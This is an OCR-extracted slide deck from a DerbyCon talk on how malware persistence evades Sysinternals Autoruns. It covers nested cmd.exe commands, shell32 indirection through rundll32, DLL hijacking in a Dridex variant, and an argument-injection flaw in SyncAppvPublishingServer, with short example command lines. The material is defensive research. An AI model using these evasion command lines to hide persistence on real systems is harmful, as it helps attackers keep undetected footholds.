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Who Are These Fools? R HUNTRESS

@KyleHanslovan @ChrisBisnett

e Malware Connoisseur e BlackHat Trainer

e Operator, MD ANG * Fuzzing For Vulns
e Chief Janitor, Huntress e Chief Architect, Huntress
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The Problem R HUNTRESS

Windows literally has 100’s [maybe 1000's?] of
different ways an EXE/DLL can be loaded/executed.

Bootup Login Process Execution
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Autostart Entry Points (ASEPS] B HUNTRESS

* Used by legitimate applications to provide a user
experience without the user needing to explicitly
start the application

* Used by malicious applications to maintain a
foothold to a previously compromised system
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The Problem Continued... B HUNTRESS

Enumeration is hard

* Many ASEPs are not documented
 Attackers use indirection to confuse parsers
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Sysinternals Autoruns B HUNTRESS

£ —
l'/, ""

Svysinternals tool written and
maintained by Mark Russinovich

 Most comprehensive list of auto-starting locations

 Run Keys ¢ Services « Scheduled Tasks
 Providers * Drivers « WMI Consumers
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We = Autoruns B HUNTRESS

eQur favorite tool from Sysinternals
Submitted ideas and bug fixes to Mark

e|lnspired us to build our company
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Sysinternals Autoruns B HUNTRESS

 NOot designed as a security tool
 SImMply enumerates auto-starting locations

 Requires the user to validate legitimacy of
applications

 But used as a security tool

 Added VirusTotal integration to give some detection of
Mmalicious executables

 Malware authors are actively looking to confuse and
avolid detection by Autoruns
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What We're Presenting R HUNTRESS

*Overview of Recent Updates
o4, Semi-Public Techniques

4 Private Techniques
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Why Present This? R HUNTRESS

ALREADY ABUSED BY ATTACKERS DEFENSE NEEDS INSIGHT

EVADING AUTORUNS - DERBYCON 7.0



R HUNTRESS

Nested Commands




Nested Commands R HUNTRESS

 Combining multiple commands (executables] into a
single persistence mechanism

e Attempt to hide malicious executables behind
legitimate or at least signed executables

* AS detection methods get better expect to see
more complicated nesting and indirection
strategies

EVADING AUTORUNS - DERBYCON 7.0



Hide How?

) HUNTRESS

Autoruns shows details of the persisted executables

3 Autoruns [chris-winT\chrig] - Sysinternals: www.sysinternals.com

File Entry Options User Help

L'F." =] +4 Filter:
n Winlogon i’-"'t Winsock Providers ‘za Print Monitors Fﬂ} LSA Providers L* MNetwork Providers ﬁ WML
2 Everything .% Logon :_f! Explorer rﬁ Internet Explorer j Scheduled Tasks % SErvices Drivers Codecs ﬂ Boot Execute
Autorun Entry Description Publisher Image Path Timestamp
ﬁ HELM System CumentControl Set\Control Teminal Server’\Wds rdpwd.5Startup Programs 11/20/°2010 11:33 PM
V| == rdpclip ROP Clip Monitor Microsoft Corporation ¢ \windows \system 32 rdpclip exe 1172072010 7:04 AM
ﬁ HELMYSOF TWARE Microsoft \Windows N T \CumentVersion \Winlogon*.sernit 9212017 8:52 PM
V| m] CAWindowstsystem32'. .. Usernit Logon Application Microsoft Comporation ¢ windows system 32 \userninit .exe 11/20/°2010 6:10 AM
ﬁ HELMYSOF TWARE \Microsoft \“Windows NT\CumentVersion\Winlogon‘VmApplet 92172017 8:52 PM
¥ | B SystemPropertiesPerform... Change Computer Peformance Setti..  Microsoft Corporation cwindows system 32 systemproperi... 71372009 756 PM
ﬁ HELMYSOF TWARE Microsoft " Windows NT\CumentVersion*Winlogon*.Shell 9212017 8:52 PM
v| | = explorer exe Windows BExplorer Microsoft Comporation ¢ windows \explorer exe 8/29/2016 11:04 AM
ﬁ HELMYSYSTEM\CumentControl Set \Control’.5afe Boot  Atemate Shell FA14/2009 12:49 AM
¥ | EM cmd.exe Windows Command Processor Microsoft Corporation cwindows system 32cmd exe 11/20/°2010 5:46 AM
ﬁ HELMYSOF TWARE \Microsoft \Windows\Cumert Version\Run 9212017 9:57 PM
v Em DerbyCon Windows Command Processor Microsoft Comporation o windows system 32'cmd .exe 11/20/.2010 5:46 AM
Ready.

E=N(EEE(<
B Sidebar Gadgets l] Office
E Image Hijacks % Applnit % KnownDLLs
Vinus Total -

Mo Filter,

-
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Hiding Entries R HUNTRESS

e Autoruns has an option to “Hide Microsoft Entries”

* Filters entries whose executable Is signed by
Microsoft

e "Hide Windows Entries”
* Filters entries signed with Windows certificate
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Hiding Entries R HUNTRESS

= |

3 Autoruns [chris-winT'\chris] - Sysinternals: www.sysinternals.com | = || (=] ||-'EE-|

File Entry Options User Help

.,'z‘ al 34 Fitter:
n Winlogon i’-.'t Winsock Providers ‘24 Print Monitors ﬂ} LSA Providers LF Network Providers :Eﬁ WML M. Sidebar Gadgets I] Office
22 Everything .% Logon :_f: Explorer tﬁ Internet Explorer j Scheduled Tasks % SErVIices Drivers | Codecs 3 Boot Execute E Image Hijacks % Applnit % KnownDLLs
Autorun Entry Description Fublisher Image Path Timestamp Virus Total i
ﬁ HELMY\SY 5 TEM \CumentControl Set “ControlhSafe Boot "\ Altemate Shell 1472009 12:49 AM =
. I — [ T I Py iTs gy e L S T T R E T oL e g LT -I-I.'IllEEIJIIIED-IDE"Iq'E.'E'IM
# HKLM\SOFTWARE\Microsoft \Windows\Cument Version " Run 9/21/2017 5:537 PM
Y| B DerbyCon Windows Command Processor Microsoft Comporation Swwindowssystem 32omd exe 11/20/°2010 546 AM
Windows host process (Rundll32) Microsoft Comporation Swindows system 32 undll 32 exe 373072017 11:03 AM
P T — mpmiiaym T — mpmimig= ey T s T 11/21/2016 12:45 PM
ﬁ HELMSOF TWARE\Wow64 32Node  Microsoft \Windows \Cument Version . Run 9/21/2017 5:28 PM
-" 0l HF Software Update hpwuSchd Application Hewlett-Packard c:\program files 86 \hpihp software... 53072013 3:45 PM
ﬁ HECUMNSOF TWARE \Microsoft "\ Windows \Cument Version \Run 92172017 5:20 PM
| =2 HP Officejet Pro 8610 (N... ScanToPCActivationApp Hewlett-Packard Development Comp... ¢ '\program files\hphp officejet pro 8... 772172014 725 PM
ﬁ HELMWSOF TWARE Microsoft \Active Setup’lnstalled Components FA42017 2:28 PM
v _[__Jj (zoogle Chrome GGoogle Chrome Installer Google Inc. c\program files c86)\google’chrome... 8/23/2017 3:45 AM -

Ready, Microsoft Entries Hidden.
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Process Exit Codes B HUNTRESS

e An exiting process can return an exit code (return
code) to signal success or failure

* EXit code of 0 is success, anything else Is error

* Can access these through the % ERRORLEVEL%
environment variable

e echo %WERRORLEVEL%
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| ogical Operators R HUNTRESS

 Batch (shell) syntax to execute command based on other
command success or failure

e foobar.exe && baz.exe

e & (block]

* Execute the second command after the first completes,
regardless of the exit code of the first

e && (if success)
 Execute the second command only if the first is successful

* || (not success)
 Execute the second command only If the first iIs not successful
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Hide Behind Existing Autoruns B HUNTRESS

* FINnd an existing autorun like this:
e C:\Windows\system32\VBoxTray.exe

* Change the command to something like this:
 cmd.exe /c start C:\Windows\system32\VBoxTray.exe & evil.exe
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Hide Behind Existing Autoruns B HUNTRESS

cmd.exe /c start <original command> & evil.exe

VBoxTray.exe

cmd.exe

evil.exe
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Autoruns <13.80 R HUNTRESS

3] Autoruns - Sysinternals: www.sysinternals.com rﬁ.bnuthutnruns @ﬁ' = || = || 22|
File Entry Options Help
e Autoruns v13. 71
- J %5 Fiter :
H 2 }i '_Ll }( g e | T Copyright (C) 2002-2017 Mark Russinovich
%] KnownDLLs I E Winlogon | lj"t Winsock Providers | ‘24 Print Monitors | %) LSA Providers Sysintemnals - www sysintemals.com b | I] Office
=} Everything % Logon | N Explorer | & Internet Explorer | ) scheduled Tasks | % Services Mark Russinovich ks | % Applnit
Ok '
Autorun Entry Description Publisher ] v
A HKLM\SOFTWARE \Microsoft \Windows \Cument Version'.Run FZT0TT ZJa P
YA N \VBox Tray Virtual Box Guest Additions Tray Application : J 112172016 12:49 PM
ﬁ HKLMSOF TWAREYWowE4 3Z2Mode \Microsoft “Windows \Cument Version\Run 5/21/2017 528 PM
v Mﬂ HF Software Update hpwuschd Application Hewlett-Fackard c:program files gcB6)hpihp software up... 53072013 3:45 FM
ﬁ HECLMWSOF TWARE Microsoft \Windows \Cument Version\Run 92172017 5:20 PM
J| 2 HP Officejet Pro 8610 {N... ScanToPCActivationApp Hewlett-Fackard Development Comp... c:\program files‘hpihp officejet pro 8610... 7721/2014 7:25 PM
ﬁ HELMWSOF TWARE \Microsoft \Active Setupinstalled Components 742017 2:28 PM
v [_.'_’.j (aoogle Chrome (Google Chrome Installer Google Inc. c:program files (<86 google’chrometa... 87232017 3:45 AM
1l 4

vboxtray.exe Size: 1, 707K

VirtualBox Guest Additions Tray Appl Time: 11/21/2016 12:49 PM
Oracle Corporation Version: 5.1.10.12026

cmd.exe fc start C:\Windows\system32\WBoxTray.exe & calc,exe

Ready, Microsoft Enfries Hidden.
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So We're Good Right? R HUNTRESS




Autoruns >=13.80 B HUNTRESS

3 Autoruns [chris-winTh\chris] - Sysinternals: www.sysinternals.com ) ) | o || = || E3 |
File Entry Options User Help About Autoruns @
2 4 XK Filter: =T Autoruns v13.80
% knownDils | @ winlogon | &% winsockProviders | 2 PrintMonitors | %) LSA Provider Copyright (C) 2002-2017 Mark Russinovich ts | ] Office
ZF Everything % Logan | ';-d Explorer | & Internet Explorer | j Scheduled Tasks | % Services Jysintemals - www.sysintemals.com acks | |%| AppInit
Mark Russinovich
Autorun Entry Description Publisher oK ] Virus Tota I‘_"
ﬁ HEKLM5Y S TEM\CumentControl Set\Control*Safe Boot \ Altemate Shell 3
V| EM cmd.exe Windows Command Processor Microsoft Corporation ¢ windowshsystem 32 cmd exe T 2072070 5046 AM
ﬁ HELMS0F TWARE \Microsoft \Windows \Cument Version*.Run 92272017 2:56 PM
VAN | VBox Tray Windows Command Processor Microsoft Comporation cwindowshsystem 32%cmd .exe 11/20/2010 5:46 AM
ﬁ HEKLMYSOF TWARE \Wowe4 32Node \Microsoft "Windows\Cument Version \Run 9/21/2017 h:28 PM
v H HF Software Lpdate hpwuSchd Application Hewlett-Packard c:\program files &86)\hp'\hp software... 53072013 3459 PM
ﬁ HKCLMNSOFTWARE \Microsoft WWindows \Cument Version . Run 9/21/2017 5:20 PM
J| =2 HP Officejet Pro 8610 (N... ScanToPCActivationApp Hewlett-Packard Development Comp... c\program files‘hpthp officejet pro 8... 77212014 7:25 PM
ﬁ HELMA\SOF TWARE \Microsoft\Active Setup’lnstalled Components FA42017 2:28 PM
J _[_.'_’.j (Google Chrome (Google Chrome Installer Google Inc. c:program files 86} \google’chrome... 8/23/2017 3:49 AM
v ,J n/a Windows host process (Rundll32) Microsoft Corporation ¢ windows system 32 undll 32 exe 33072017 11:03 AM -

i i P

cmd, exe Size: 337K
Windows Command Processor Time: 11/20/2010 5:46 AM

Microsoft Corporation Version: 6.1.7601.17514
cmd.exe fc start C:\Windows\system32\WBoxTray.exe & calc.exe

Feady, Microsoft Entries Hidden.
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Prior To Autoruns 13.80 B HUNTRESS

* Autoruns parsed the command and detected the /c
option

* Reported the nested command rather than cmd.exe

* This made hiding malware harder

* Nesting malicious executables under cmd.exe won't
display as Microsoft applications and won't hide when
hiding Microsoft Entries

EVADING AUTORUNS - DERBYCON 7.0



Prior To Autoruns 13.80 B HUNTRESS

* |t was still possible to hide entries if first nested
executable is signed by Microsoft

e cmd.exe /c start consent.exe & evil.exe

 consent.exe Is a signed Microsoft executable distributed
with Windows
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Autoruns 13.80 R HUNTRESS

* Released September 1lth, 2017

e Stopped trying to parse most nested commands
e cmd.exe /c evil.exe Displays as cmd.exe

EVADING AUTORUNS - DERBYCON 7.0



Autoruns 13.80 R HUNTRESS

* No longer hides cmd.exe (and others) when hiding
Microsoft Entries

* Persisted cmd.exe IS now more obvious but will
require expert-level understanding to determine If
It's legitimate or malicious
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R HUNTRESS

Shell32.dll Indirection




Shell32.dll Indirection R HUNTRESS

 Technique that combines RunDLL32.exe and Shell32.dll
exported functions to execute another executable

 Autoruns prior to 13.80 would display Shell32.dll as the
persisted binary

hasherezade
. @hasherezade C Follow ) e
Interesting trick to make a persistence key

unnoticed by autoruns:
gist.github.com/hasherezade/e3 ...

3:50 PM - 5 Apr 2017
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Shell32.dll Overview R HUNTRESS

e DLL that provides much of the functionality of
explore.exe

* “Open As” dialogs, running executables, etc.

 EXports a ton of useful functions that can load DLLs
and execute applications

 ShellExec_RunDLL, Control RunDLL, Dllinstall, etc.
* A signed Microsoft binary
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Abusing Shell32.dll R HUNTRESS

rundll32.exe shell32.dll,ShellExec RunDLL calc.exe

rundll32.exe shell32.dll calc.exe
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Autoruns < 13.80 (No Filter] B HUNTRESS

T Autoruns [chris-winT\chriz] - Sysinternals: www.sysinternals.com | S|

File Entry Options User Help
L'ﬂ = fﬁ |ﬂL )’: Lj Filter:

% KnownDLLs n Winlogon i."x Winsock Providers tza Print Monitors ﬂ} LSA Providers E" Metwork Providers :Eﬁ WML ML Sidebar Gadgets l] Qffice
=7 Everything -% Logon :_f! Explorer [& Internet Explorer j Scheduled Tasks % SEervices Drivers || Codecs E Boot Execute E Image Hijacks % ApplInit
Autorun Entry Description Publisher Image Path Timestamp ViusTota

ﬁ HELMA\SOF TWARE Microsoft\WWindows N T\CumentVersion \Winlogon.5hell 9/21/2017 8:52 PM
J =3 =xplorer exe Windows BExplorer Microsoft Corporation ¢ windows explorer exe 8/29/2016 11:04 AM
ﬁ’ HELM5Y S TEMM\CumentCortrol Set \Control®Safe Boot \ Atemate Shell FA1452009 12:49 AM L
Y| Bl cmd.exe Windows Command Processor Microsoft Corporation ¢ windows system 32cmd .exe 11/20/2010 5:46 AM 1
ﬁ HELMA\SOF TWARE \Microsoft \\WindowsCument Version\Run 972272017 3:09 PM

~i I Malicious Windows Shell Common Dl Microsoft Corporation ¢ windows system 32'shell 32 dll 51052017 11:29 AM
v ff! VBox Tray VirtualBox Guest Additions Tray Appli... Dracle Comporation ¢ windows\system 32 wbodray exe 1172172016 12:45 PM
ﬁ HELMYS0F TWARE\Wowe432MNode \Microsoft \Windows \Cument Version . Run 9/21/2017 5:28 PM
¥ 1@1 HF Software Lipdate hpwusSchd Application Hewlett-Packard c:\program files 86} \hpihp software... 530/2013 3:45 PM
ﬁ HECUANSOF TWARE \Microsoft \Windows \Cument Version.\Run 9/21/2017 5:20 PM
| =2 HP Officejet Pro 8610 (M... ScanToPCActivationApp Hewlett-Packard Development Comp... o \program files\hpthp officejet pro 8... 772172014 7:25 PM -

il I

shell32.dll Size: 13,851 K
Windows Shell Commaon Dl Time: 5102017 11:29 AM

Microsoft Corporation Version: ©.1.7601.23806
Fundll32.exe Shell32.dl ,ShellExec RunDLL calc.exe

Ready. Mo Filter.
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Autoruns < 13.80 (MS Filter] B HUNTRESS

= Autoruns [chris-winTh\chris] - Sysinternals: www.sysinternals.com [ B ]
File Entry Options User Help
H =] }:3 [“_j Filter:

%] KnownDLLs | n Winlogon | & Winsock Providers | ‘za Print Monitors | ‘!@} LSA Providers L* Network Providers ﬂ% WML | ML Sidebar Gadgets I] Office
=7 Everything -% Logon ';4 Explorer | ,E Internet Explorer | uj Scheduled Tasks | % Services Drivers | | Codecs 3 Boot Execute | E Image Hijacks % ApplInit
Autorun Entry Description Fublisher Image Fath Timestamp Virus Total
ﬁ HELMMSOFTWARE \Microsoft \Windows \Cument Version .Run 972272017 3:09 PM

'ifﬁ VBoo Tray Virtual Box Guest Additions Tray Appli... Oracle Corporation ¢ windows \system 32 \vboxtray exe 11/21/2016 12:49 PM
ﬁ HEKLMSOF TWARE \WowbE432Node \Microsoft " Windows \Cument Version . Fun 9/21/2017 5:28 PM

v M] HF Software Lpdate hpwuSchd Application Hewlett-Fackard c:program files B6)hpihp software... 53072013 345 PM
ﬁ HEKCLUMNSOFTWARE \Microsoft \\WWindows \Cument Version .Run 9/21/2017 5:20 PM

J| 2 HP Officejet Pro 8610 (N... ScanToPCActivationApp Hewlett-Packard Development Comp... ¢ program fileshp“hp officejet pro 8... 772172014 7256 FM
ﬁ’ HELMMWSOF TWARE Microsoft’\Active Setuptlnstalled Components 742017 2:28 PM

v [_.:j (Google Chrome Google Chrome Installer Google Inc. c:\program files §86) \google’chrome... 87232017 3:.45 AM
4 FIr 3

Ready, Microsoft Entries Hidden.
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Autoruns >=13.80 (MS Filter]

) HUNTRESS

3 Autoruns [chris-winTh\chris] - Sysinternals: www.sysinternals.com [ B | ]
File Entry Options User Help
L'ﬂ = ﬁ |ﬂL }( Lj Filter:

% KnownDLLs % \inlogon &% Winsock Providers ‘=z Print Monitors ﬂ} LSA Providers L* Network Providers :ﬂ WML ML Sidebar Gadgets I] Office
{=J Everything -% Logon :_f! Explorer [E Internet Explorer :I Scheduled Tasks % Services Dirivers || Codecs E Boot Execute E Image Hijacks % Applnit
Autorun Entry Description Publisher Image Fath Timestamp ViusTota =
ﬁ" HEKLM5Y S TEM\CumentControl Set\Control*Safe Boot \ Altemate Shell FA1452009 12:49 AM

V| EM cmd.exe Windows Command Processor Microsoft Corporation ¢ windows system 32cmd exe 11/20/2010 5:46 AM
ﬁ HEKLMYSOF TWARE \Microsoft \\Windows \Cument Version.\Run 92272017 3:09 PM

J J Malicious Windows host process (Rundll32) Microsoft Comporation cwindows system 32 undll 32 exe 373072017 11:03 AM

VirtualBox Guest Additions Tray Appli...
ﬁ HELM%SOF TWARENWowt4 3Z2Node \Microsoft " Windows \Cument Version\Run

J| ¥4 VBoxTray

v HF Software Lpdate hpwuSchd Application
ﬁ HECUANSOF TWARE \Microsoft \\Windows \Cument Version.\Run
| 2 HP Officejet Pro 8610 (M... ScanToPCActivationApp
ﬁ HELMA\SOF TWARE \Microsoft\Active Setup’lnstalled Components

v _[jj Google Chrome Google Chrome Installer

rundll32.exe Size: 45K
Windows host process (Fundll32) Time:

Microsoft Corporation Version: 6.1.7601,.23755
Rundll32.exe Shell32.dll ,ShelExec_RunDLL calc,exe

Feady.

Oracle Comporation ¢ windows system 32 wbodray exe 11/21/2016 12:45 PM
92172017 5:28 PM

Hewlett-Packard c:program files &86)\hp'\hp software... 53072013 3:459 PM
9/21/2017 5:20 PM

Hewlett-Packard Development Comp... c\program files‘hpthp officejet pro 8... 77212014 7:25 PM
472017 228 PM

Google Inc. c:program files 86} \google’\chrome... 8/23/2017 3.49 AM

i

m

3302017 11:03 AM

Microsoft Entries Hidden.
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So What Changed? R HUNTRESS

e Just like with cmd.exe, Autoruns stopped parsing
the parameters

 Autoruns will show Rundll32.exe as the persisted
executable

 Many legitimate applications use Rundll32.exe to
persist a DLL

e Separating legitimate uses from malicious will require
expert-level understanding
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R HUNTRESS

DLL Hijacking




DLL Hijacking R HUNTRESS

 Jechnigue that can be abused to cause Windows to
load a malicious DLL rather than the intended DLL

e Publicly known since the early days of Windows XP
 XP SP2 changed the order for security reasons

e Autoruns will display the executable that is
persisted but not any of the DLLsS
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DLL Search Order R HUNTRESS

* Applications use the Windows function LoadLibrary() to
request that Windows find and load a DLL into memory

 Windows follows a defined lookup process to find the
requested DLL

* Directory from which the application was loaded

e System directory (system32]}

e |6-bIt system directory

* Windows directory (c:\windows}

* Current directory

* Directories listed in the PATH environment variable
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DLL Search Order Hijacking B HUNTRESS

* The first DLL found with a matching name will be
loaded

 Malware gets execution by placing a malicious DLL
INn a directory searched prior to the directory
containing the real DLL

 Malicious DLL can execute arbitrary code at this
point
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Dridex R HUNTRESS

* One variant uses DLL Hijacking and a technique
called AtomBombing

e Autoruns only sees the signed executable
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Dridex — Find An Executable B HUNTRESS

* A Dridex variant used DLL hijacking to evade
detection by hiding itself behind a legitimate signed
executable

e Hashes executables until it finds a match

* Copies the matching executable to the users profile
(AppData\Roaming]
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Dridex — Modify The DLL B HUNTRESS

* Arandom DLL Is chosen from the imports list and
copied into the users profile with the legitimate
executable

* Malicious shellcode Is injected into the DLL that will
be run when the DLL Is loaded
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Dridex - Execution R HUNTRESS

e Creates a registry key and shortcut pointing to the
legitimate executable

* Runs the legitimate executable when the user logs
on

e |_oads the malicious DLL
* Executes the malicious injected code
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Dridex — Files R HUNTRESS

(=lo x|

@U-‘?' « Users » User » AppData » Roaming » 9kqTMMz9 - ‘#-?-|| Search Uka TMZ9 Hl
N~ T
Organize » =] Open Share with « Mew folder 4== ¥ Tl e
-
\ Sl . i

r Favorites Mame Date modified Type Cize

B Desktop % ATL.DLL 9/22/2017 3:49 PM Application extens 432 KB

& Downloads B VSSVC.exe 11,/20/2010 10:23 Application 1,565 KB

‘| Recent Places

1

B C\Windows\system32\omd.exe

Microsoft Windows [Uerszion 6.1.76H1]
Copyright <c>» 288? Microsoft Corporation. All rights reserved.

. Libraries

=l Documents

s lUserssUserrcd Desktop

a! Music
- Bict CislUsersslUsersDesktopisigecheck.exe *APPDATAX~?kgTM=z?~USSUC _exe
k| Pictures
Eﬁlfd _ Sigcheck v2.55% — File wversion and signature viewep
IHE0s Copyright <(C» 20804-2817 Mark Russinowvich
Suszinternals — www.sysinternals.com
s Homenaroun ElC - ~userssuseprsappdatasroaning~?kgtmz9~USSUC . exe:
P Verified: Signed
- 35VC.exe [ Signing date: 3:37 PM 11202018
Application Publisher: Microsoft Windows
Company: Microzoft Corporation
\ Description: Microzofta« Uolume Shadow Copy Service

Product: Microsoftoa Windows« Operating System
Prod version: 6.1.76H1.17514
File version: 6.1.7681.17514 <winPspl_rtm.1H81117-1858>

MachineType: 64-hit

C:sUsersslUsersDesktop
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3 Autoruns - Sysinternals: www.sysinternals.com |E|
File Entry Options Help
.,'ﬂ &I] ES |iL| X [nj Fitter:
%] KnownDLLs | i Winlogon | & Winsock Providers | ‘za Print Monitors | 'ﬂ LSA Providers | L* Metwork Providers jﬂ WML | M. Sidebar Gadgets | I] Office
7 Everything .% Logon | ';J Explorer | g Internet Explorer | L,j Scheduled Tasks | % SEervices | Drivers | .| Codecs E Boot Execute | E Image Hijacks | % ApplInit
Autorun Entry Description Fublisher Image Path Timestamp T
ﬁ HELM5Y 5 TEMM\CumentCorntrol Set \Control’Safe Boot \ Atemate Shell 1452009 12:49 AM
Y| BN cmd.exe Windows Command Processor Microsoft Corporation ¢ windows system 32cmd .exe 11/20/2010 5:46 AM
ﬁ’ HELM50F TWARE \Microsoft \Windows \Cument \Version*Run 101872016 12:02 PM
v ﬂ Viware User Process ViMware Tools Core Service Viiware, Inc. ¢ program fileswmware \wmware tools'wmtoolsd exe 8/2h/2016 5:21 PM
ﬁ HEC LSO FTWARE \Microsoft\Windows \Cument Version*Run 972272017 3:45 PM
V| [m] Microsoft® Vaolume Shadow Copy Ser... Microsoft Comporation o wserswserappdataroaming\ Mgtmz Shwssve exe 11./20/,2010 5:49 AM
— C:M\Users\User'\App Data“RoamingMicrosoft Windows"Start Menu*Programs*.Startup 972272017 3:49 PM
J| == Tpkrsbvalwivt Ink Microsoft® Vaolume Shadow Copy Ser... Microsoft Comporation ¢ wuserswserappdatatroaming\ Sogtmz S owssve exe 11/20/2010 5:45 AM
ﬁ HELMA\SOF TWARE \Microsoft \Active Setup’lnstalled Components 11./9/2016 2:58 AM
J ,j Browser Customizations  Windows host process (Rundll32) Microsoft Corporation ¢ windows system 32 mundll 32 exe FA13/2008 7:57 PM
v [_.'_’.j (Google Chrome (Google Chrome Installer Google Inc. ¢ program files 86} \google’\chrome*application’b4.0.2840... 10/-31/2016 2:09 AM -
i 1l b

VSSVC. exXe Size. 1,563 K

@ Microsoft® Volume Shadow Copy Se  Time: 11202010 5:49 AM
Microsoft Corporation Version: ©6.1.7601.17514
"Cir\Users\User\AppData \Roaming \SkgTMzWSSVC . exe”

Ready, Windows Enfries Hidden.
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R HUNTRESS

SyncAppVvPublishingService




SyncAppvPublishingServer B HUNTRESS

PowerShell cmdlet for App Virtualization Publishing
* Also comes with VBS and .EXE helpers

SUB e (_Fetow ) ~
C:\Windows\System32\SyncAppvPublishingS
erver.vbs

|s an Interesting, signed, default vbs script In
Windows 10. :-)

4:00 AM - 22 Apr 2017
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SyncAppvPublishingServer Helpers $ HUNTRESS

Helpers are provided to make it easier to call
PowerShell cmdlet from outside PowerShell

 Take arguments from the command-line
 Format the received data

e Pass it to the PowerShell module
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Building the PowerShell Command B HUNTRESS

SvyncAppvPublishingServer.vbs

ParseCmdL1ne

mimn

1f g_cmdArgs = Then
Wscript.echo "Command line arguments are requilred.”

Wscript.qulit ©
End If

synccmd = "$env:psmodulepath = [I0.Directory]::GetCurrentDlirectory();

"import-module AppvClient; " & _
"Sync-AppvPublishingServer " & g_cmdArgs
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Building the Shell Command B HUNTRESS

SvyncAppvPublishingServer.vbs

Dim psCmd
psCmd = "powershell.exe -NonInteractlive -WindowStyle Hidden -ExecutlonPolilcy
RemoteSigned -Command &{" & syncCmd & "}"
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WScript?!?

) HUNTRESS

SvyncAppvPublishingServer.vbs

Dim Ws
Set Ws

1S

NS

1ell

1ell

wWScript.CreateObject("WScript.Shell")

wWshShell.Run psCmd, ©
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Oh The Horrors! R HUNTRESS

e Builds both the PowerShell code and command as
strings without escaping the arguments

* Raw PowerShell commands can be injected into the
sSession

 SyncAppvPublishingServer.exe has these same
vulnerabilities
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PowerShell Injection Vulnerability B HUNTRESS

SyncAppvPublishingServer.exe “.; Start-Process calc.exe”

SyncAppvPublishing npowershell.exe calc.exe
Server.exe
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Within Autoruns R HUNTRESS

= Autoruns [USER-PC\User] - Sysinternals: www.sysinternals.com — oo

File Entry Options User Help

.,'[I &Ll }’a |iL| }( L:- Filter:

8 S,

-

% AppInit |*% KnownDLLs E Winlogon lj"t Winsock Providers  «za Print Monitors 'ﬂ LSA Providers 'i-" Metwork Providers :f-fﬂ WMI Y Sidebar Gadgets I] Office
=7 Everything % Logon ,J. Explorer E Internet Explorer .,jl Scheduled Tasks % SErvices Drivers 4| Codecs j Boot Execute 3 Image Hijacks

Autorun Entry Diescription Publisher Image Fath Timestamp “
ﬁ HELMYSOF TWARE \Microsoft \\Windows \Cument Version.Run 9232017 10:38 PM

| [0 AdobeAAMUpdater-10  Adobe Updater Startup Utility Adobe Systems Incorporated c:program files (x86)\common files'a... 6292016 3:.29 AM

| 85 |AStarlcon Delayed launcher Intel Comporation c:program files\intel\intelir) rapid stor... 1172017 12:32 PM

el L£_5 i TunesHelper i TunesHelper Apple Inc. c:\program filesh\itunes‘ituneshelpere... 9/11/2017 6:21 PM

w I MNvBackend NVIDIA Backend NVIDIA Corporation c:program files (x86)\nvidia corporati... 6142016 6:39 AM

o :i|| RtHDOVWBg MAXXE HDO Audio Background Process Realtel Semiconductaor c:\program files‘realtek \audio“hdatr... 8/2272016 1:52 AM

' |'|-- RTHDOVCPL Realtek HD Audio Manager Realtel, Semiconductor c:program files‘realtek \audiovhda™rt... 8/227°2016 1:56 AM

' Ea SecurtyHealth Windows Defender notification icon Microsoft Corporation c:program files'windows defender'm... 12/12/15956 3.34 AM

wd MBI SyncAppv Publishing Microsoft Comporation cwindows'system 32'syncappvpubli... 942017 11:37 PM

' @ Waveshve Waves MaocAudio Service Application Waves Audio Lid. c:program files'waves\maxaudio®w ... 12222015 11:10 AM
ﬁ HELMYSOF TWARE Wowb432MNode \Microsoft W Windows \Cument Version . Fun 6292017 3.01 PM W

>

syncappvpublishingserver.exe Size: 75 K

Time:; 942017 11:37 PM
Microsoft Corporation Version: ©.3.15063.608

SyncAppvPublishingServer.exe . ; Start-Process calc.exe”

Ready, Mo Filter,
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Service DLL Bug




Standalone Service B HUNTRESS

IPod Service

* |Pod hardware management services
« SERVICE_WIN32_OWN_PROCESS
* %ProgramFiles%\iPod\bin\iPodService.exe
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Within the Registry R HUNTRESS

B Registry Editor — >

File Edt View Favorites Help
Computer\HKEY_LOCAL MACHINE\SYSTEM  CurrentContrelSet\Services\iPod Service

: |KEEXT * || Mame Type Dlata
..... !ndirectl{rﬂd allf (Default REG, 7 (value not set)
netaces | ab] DependOnService REG_MULTI_SZ RpcSs
::tiiil_édﬂddﬂemce alh: Description REG_5Z IPod hardware management services
Intel Storage Counters :': DisplayMame REG 52 IPod Service
_— o O~ Cuaimore
intelpep ﬂﬂlmagepath REG_EXPAMND _5Z "CiProgram Files\iPod\bin\iPodService.exe”
intelppm ] LT 1t OCaT Iy =t
iorate | ab| RequiredPrivileges REG_MULTI_SZ SeCreateGlobalPrivilege SeloadDrnverPrivilege SeBackupPrivile
|pFilterDirrver = e MR
- iphlpsve 28| Type REG_DWORD (000000 (18]
.| | IPMIDRV
| | IPNAT
IPod Service
|pxlatiCfgive
-| | irda
| | IREMUM
- Irmen .
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Within Autoruns R HUNTRESS

= Autoruns - Sysinternals: www.sysinternals.com — L] >

File Entry Options Help

Hﬂ}'ﬁﬂ}(\ L; Filter:

o

% AppInit  |%| KnownDLLs E Winlogon lj"t Winsock Providers gy Print Monitors 'ﬂ LSA Providers E" Metwork Providers :Ei WML [ Sidebar Gadgets I] Office
=7 Everything % logon ¢ Explorer & Internet Explorer 4 scheduled Tasks % SETVICES Drivers  [L4| Codecs [T BootExecute [ Image Hijacks

Autorun Entry Description Publisher Image Fath Timestamp o
el |-'] ighC U 5ervice2 0.0.0 Service for Intel(R) HD Graphics Cont... Intel Corporation ¢ windows\system 32 \driverstoreMile... 472172017 1154 AM
| a] IKEEXT The IKEEXT service hosts the Intem... Microsoft Corporation ¢ windows system 32 \ikeext dll 22001913 4:.35 AM
| %) iphlpsve Provides tunnel connectivity using IP... Microsoft Corporation ¢ windows \system 32\iphlpsve . dil 8/205/1904 735 AM
w iPod Service iPod hardware management services : c:\program filestipodtbinsipodservice... 9112017 6:21 PM
14 IpdatCigSve Configures and enables translation fro... Microsoft Corporation ¢ windows system 32 ipxlatcfg . dil 4/1/1940 4:.04 PM
%) imon Detects other Infrared devices that ar... Microsoft Corporation ¢ windows system 32%mon dll 6/29/1935 &:45 PM
1) Keylso The CNG key isolation service is host... Microsoft Corporation ¢ windows system 32 keyiso dll RAA0/1552 313 AM
%) KtmBm Coordinates transactions between th... Microsoft Corporation ¢ windows \system 32 msdtckm . dll 61215978 720 PM
%) LanmanServer Supports file, print, and named-pipe 5... Microsoft Corporation ¢ windows system 32 srvsve dll 11/19/2007 4:11 AM
